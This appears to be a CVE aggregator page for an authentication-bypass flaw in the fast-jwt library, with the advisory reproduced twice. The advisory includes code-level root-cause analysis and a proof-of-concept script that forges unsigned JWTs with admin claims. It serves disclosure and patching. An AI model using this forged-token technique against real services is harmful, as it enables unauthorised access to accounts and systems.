CVE-2026-107720
fast-jwt: createVerifier accepts unsigned JWTs when key is '' or null and algorithms is explicitly set
fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.1, fast-jwt createVerifier accepts an unsigned JWT when key is an empty string or null and algorithms is a non-empty allowlist. Falsy synchronous keys bypass prepareKeyOrSecret, allowedAlgorithms remains active, hasKey is false, and the empty signature avoids the verifySignature gate. An attacker can therefore submit a token containing arbitrary claims without possessing a signing key, resulting in authentication or authorization bypass. Claim validators still run, and non-empty keys, an empty key without algorithms, and the async key resolver path do not have this behavior. This issue is fixed in version 6.3.1.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.4
fast-jwt: createVerifier accepts unsigned JWTs when key is '' or null and algorithms is explicitly set
fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.1, fast-jwt createVerifier accepts an unsigned JWT when key is an empty string or null and algorithms is a non-empty allowlist. Falsy synchronous keys bypass prepareKeyOrSecret, allowedAlgorithms remains active, hasKey is false, and the empty signature avoids the verifySignature gate. An attacker can therefore submit a token containing arbitrary claims without possessing a signing key, resulting in authentication or authorization bypass. Claim validators still run, and non-empty keys, an empty key without algorithms, and the async key resolver path do not have this behavior. This issue is fixed in version 6.3.1.
- Record
CVE-2026-107720- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-20, CWE-347
- Updated
- 2026-11-02
EUVDEUVD-2026-95344
7.4
fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.1, fast-jwt createVerifier accepts an unsigned JWT when key is an empty string or null and algorithms is a non-empty allowlist. Falsy synchronous keys bypass prepareKeyOrSecret, allowedAlgorithms remains active, hasKey is false, and the empty signature avoids the verifySignature gate. An attacker can therefore submit a token containing arbitrary claims without possessing a signing key, resulting in authentication or authorization bypass. Claim validators still run, and non-empty keys, an empty key without algorithms, and the async key resolver path do not have this behavior. This issue is fixed in version 6.3.1.
- Record
EUVD-2026-95344- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-8wpc-h4q6-8fxv
7.4
fast-jwt: createVerifier accepts unsigned JWTs when key is '' or null and algorithms is explicitly set
Summary
createVerifier in fast-jwt ≤ 6.3.0 skips signature verification entirely when the key option is a falsy synchronous value ('' or null) and the algorithms option is set to a non-empty allowlist. An attacker who can present a JWT to the application — regardless of algorithm — can forge arbitrary claims without possessing any signing key.
Details
Root cause — four cooperating code paths:
A. Falsy sync keys bypass prepareKeyOrSecret
createVerifier branches on typeof key:
const keyType = typeof key
if (keyType !== 'string' && keyType !== 'object' && keyType !== 'function') {
throw new TokenError(/* ... */)
}
if (key && keyType !== 'function') {
key = prepareKeyOrSecret(key, hsAlgorithms.includes(availableAlgorithms[0]))
}
When key is '' (string, falsy) or null (object, falsy) the outer type check passes but the if (key && ...) guard never calls prepareKeyOrSecret. The empty-secret rejection added in that function is therefore never reached for sync keys:
function prepareKeyOrSecret(key, isSecret) {
if (isSecret && key.length === 0) {
throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be an empty string or buffer.')
}
return isSecret ? createSecretKey(key) : createPublicKey(key)
}
B. Explicit algorithms keeps an allowlist active with no key
When key is falsy, autodetection is skipped and the caller-supplied algorithms (e.g. ['HS256']) is retained in allowedAlgorithms. The verifier therefore accepts tokens whose header matches that list.
C. hasKey is false → missing signature is permitted
const hasKey = key instanceof Buffer ? key.length : !!key
if (hasKey && !signature) {
throw new TokenError(/* missingSignature */)
} else if (!hasKey && signature) {
throw new TokenError(/* missingKey */)
}
// !hasKey && !signature → fall through with NO crypto
An unsigned token (header.payload.) produces signature === '', which is falsy, so both branches are skipped.
D. Signature check is gated on signature being truthy
if (signature && !verifySignature(header.alg, key, input, signature)) {
throw new TokenError(/* invalidSignature */)
}
Empty signature → condition is false → verifySignature is never called.
E. Signer / verifier asymmetry
createSigner({ key: '' })/key: null→ rejectedcreateVerifier({ key: async () => '' })→ rejected (GHSA empty-secret tests)createVerifier({ key: '' | null, algorithms: [...] })→ accepted, then verifies unsigned tokens
Ironically, the security best practice of setting algorithms enables the bypass. With algorithms omitted, allowedAlgorithms stays [] and every token fails closed.
Affected versions: confirmed on 6.3.0 (current main @ 378422c).
This is an incomplete fix relative to the empty-secret hardening already applied for Buffer keys and async key functions (GHSA-gmvf lineage, PR #609).
PoC
cd /tmp && git clone --depth 1 https://github.com/nearform/fast-jwt.git && cd fast-jwt && npm install
// poc-empty-key-bypass.js
const { createVerifier } = require('.')
function unsigned(alg, claims) {
const h = Buffer.from(JSON.stringify({ alg, typ: 'JWT' })).toString('base64url')
const p = Buffer.from(JSON.stringify(claims)).toString('base64url')
return `${h}.${p}.` // trailing dot = empty signature
}
const token = unsigned('HS256', { sub: 'attacker', admin: true, role: 'root' })
// Vulnerable: key '' + explicit algorithms allowlist
const verify = createVerifier({ key: '', algorithms: ['HS256'] })
console.log(verify(token))
// → { sub: 'attacker', admin: true, role: 'root' }
// Also works for RS256 / ES256 / EdDSA allowlists and key: null
console.log(createVerifier({ key: null, algorithms: ['RS256'] })(unsigned('RS256', { admin: true })))
// → { admin: true }
// Negative controls (correctly rejected):
try { createVerifier({…
- Record
GHSA-8wpc-h4q6-8fxv- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-20, CWE-347
- Updated
- 2026-11-02
NVD
7.4
fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.1, fast-jwt createVerifier accepts an unsigned JWT when key is an empty string or null and algorithms is a non-empty allowlist. Falsy synchronous keys bypass prepareKeyOrSecret, allowedAlgorithms remains active, hasKey is false, and the empty signature avoids the verifySignature gate. An attacker can therefore submit a token containing arbitrary claims without possessing a signing key, resulting in authentication or authorization bypass. Claim validators still run, and non-empty keys, an empty key without algorithms, and the async key resolver path do not have this behavior. This issue is fixed in version 6.3.1.
- Record
CVE-2026-107720- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-20, CWE-347
- Updated
- 2026-11-02
OSV
7.4
fast-jwt: createVerifier accepts unsigned JWTs when key is '' or null and algorithms is explicitly set
fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.1, fast-jwt createVerifier accepts an unsigned JWT when key is an empty string or null and algorithms is a non-empty allowlist. Falsy synchronous keys bypass prepareKeyOrSecret, allowedAlgorithms remains active, hasKey is false, and the empty signature avoids the verifySignature gate. An attacker can therefore submit a token containing arbitrary claims without possessing a signing key, resulting in authentication or authorization bypass. Claim validators still run, and non-empty keys, an empty key without algorithms, and the async key resolver path do not have this behavior. This issue is fixed in version 6.3.1.
- Record
CVE-2026-107720- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-20, CWE-347
- Updated
- 2026-11-02
OSVGHSA-8wpc-h4q6-8fxv
7.4
fast-jwt: createVerifier accepts unsigned JWTs when key is '' or null and algorithms is explicitly set
Summary
createVerifier in fast-jwt ≤ 6.3.0 skips signature verification entirely when the key option is a falsy synchronous value ('' or null) and the algorithms option is set to a non-empty allowlist. An attacker who can present a JWT to the application — regardless of algorithm — can forge arbitrary claims without possessing any signing key.
Details
Root cause — four cooperating code paths:
A. Falsy sync keys bypass prepareKeyOrSecret
createVerifier branches on typeof key:
const keyType = typeof key
if (keyType !== 'string' && keyType !== 'object' && keyType !== 'function') {
throw new TokenError(/* ... */)
}
if (key && keyType !== 'function') {
key = prepareKeyOrSecret(key, hsAlgorithms.includes(availableAlgorithms[0]))
}
When key is '' (string, falsy) or null (object, falsy) the outer type check passes but the if (key && ...) guard never calls prepareKeyOrSecret. The empty-secret rejection added in that function is therefore never reached for sync keys:
function prepareKeyOrSecret(key, isSecret) {
if (isSecret && key.length === 0) {
throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be an empty string or buffer.')
}
return isSecret ? createSecretKey(key) : createPublicKey(key)
}
B. Explicit algorithms keeps an allowlist active with no key
When key is falsy, autodetection is skipped and the caller-supplied algorithms (e.g. ['HS256']) is retained in allowedAlgorithms. The verifier therefore accepts tokens whose header matches that list.
C. hasKey is false → missing signature is permitted
const hasKey = key instanceof Buffer ? key.length : !!key
if (hasKey && !signature) {
throw new TokenError(/* missingSignature */)
} else if (!hasKey && signature) {
throw new TokenError(/* missingKey */)
}
// !hasKey && !signature → fall through with NO crypto
An unsigned token (header.payload.) produces signature === '', which is falsy, so both branches are skipped.
D. Signature check is gated on signature being truthy
if (signature && !verifySignature(header.alg, key, input, signature)) {
throw new TokenError(/* invalidSignature */)
}
Empty signature → condition is false → verifySignature is never called.
E. Signer / verifier asymmetry
createSigner({ key: '' })/key: null→ rejectedcreateVerifier({ key: async () => '' })→ rejected (GHSA empty-secret tests)createVerifier({ key: '' | null, algorithms: [...] })→ accepted, then verifies unsigned tokens
Ironically, the security best practice of setting algorithms enables the bypass. With algorithms omitted, allowedAlgorithms stays [] and every token fails closed.
Affected versions: confirmed on 6.3.0 (current main @ 378422c).
This is an incomplete fix relative to the empty-secret hardening already applied for Buffer keys and async key functions (GHSA-gmvf lineage, PR #609).
PoC
cd /tmp && git clone --depth 1 https://github.com/nearform/fast-jwt.git && cd fast-jwt && npm install
// poc-empty-key-bypass.js
const { createVerifier } = require('.')
function unsigned(alg, claims) {
const h = Buffer.from(JSON.stringify({ alg, typ: 'JWT' })).toString('base64url')
const p = Buffer.from(JSON.stringify(claims)).toString('base64url')
return `${h}.${p}.` // trailing dot = empty signature
}
const token = unsigned('HS256', { sub: 'attacker', admin: true, role: 'root' })
// Vulnerable: key '' + explicit algorithms allowlist
const verify = createVerifier({ key: '', algorithms: ['HS256'] })
console.log(verify(token))
// → { sub: 'attacker', admin: true, role: 'root' }
// Also works for RS256 / ES256 / EdDSA allowlists and key: null
console.log(createVerifier({ key: null, algorithms: ['RS256'] })(unsigned('RS256', { admin: true })))
// → { admin: true }
// Negative controls (correctly rejected):
try { createVerifier({…
- Record
GHSA-8wpc-h4q6-8fxv- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-20, CWE-347
- Updated
- 2026-11-02
Affected products
Affected packages
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-107720 is a high vulnerability (CVSS 7.4) in Nearform Fast-jwt, published October 8, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.32%, the 25th percentile. Fixed in fast-jwt 6.3.1.
References
github.com/nearform/fast-jwt/security/advisories/GHSA-8wpc-h4q6-8fxv
github.com/nearform/fast-jwt/pull/649
github.com/nearform/fast-jwt/commit/e22a151e83bf6d5e54e281216982d204d5665534
github.com/nearform/fast-jwt/releases/tag/v6.3.1
github.com/advisories/GHSA-8wpc-h4q6-8fxv
github.com/CVEProject/cvelistV5/tree/main/cves/2026/107xxx/CVE-2026-107720.json
nvd.nist.gov/vuln/detail/CVE-2026-107720
github.com/nearform/fast-jwt
Left out here: the rest of 2 source descriptions. The JSON record has them.